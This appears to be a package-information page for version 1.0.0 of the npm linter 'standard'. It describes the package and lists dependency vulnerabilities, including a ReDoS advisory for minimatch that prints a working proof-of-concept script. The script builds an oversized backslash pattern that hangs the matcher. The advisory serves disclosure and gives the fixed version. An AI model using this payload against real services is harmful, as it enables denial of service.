The npm package "standard" version 1.0.0 offers code style enforcement, aiming to improve code consistency across projects. This initial stable release, launched on January 27, 2015, bundles tools essential for maintaining a uniform coding style. It relies on "find" for file system navigation, "jscs" for JavaScript code style checking, "split" for string manipulation, and "jshint" for code quality analysis.
This version of standard provides a pre-configured set of rules, eliminating the need for developers to spend time configuring linters and style checkers manually. By providing a single tool that handles the complexities of code style, standard allows development teams to focus on building features and ensure a uniform codebase minimizing code reviews based on stylistic preferences.
While details on the previous stable version are undefined, upgrading to version 1.0.0 would signify a structured and stable starting point for code style standardization. Developers should note the specific dependency versions to ensure compatibility within their projects, especially concerning "jscs" and "jshint" which are influential tools for code quality analysis. The release also licenses under MIT, providing freedom for usage, adaptation, and distribution. Access through the provided Git repository contributes to a good level of transparency. This version provides a solid style enforcement foundation for early adopters who like to keep code clean and consistent with minimum configuration.
All the vulnerabilities related to the version 1.0.0 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Prototype pollution in pathval
A prototype pollution vulnerability affects all versions of package pathval under 1.1.1.
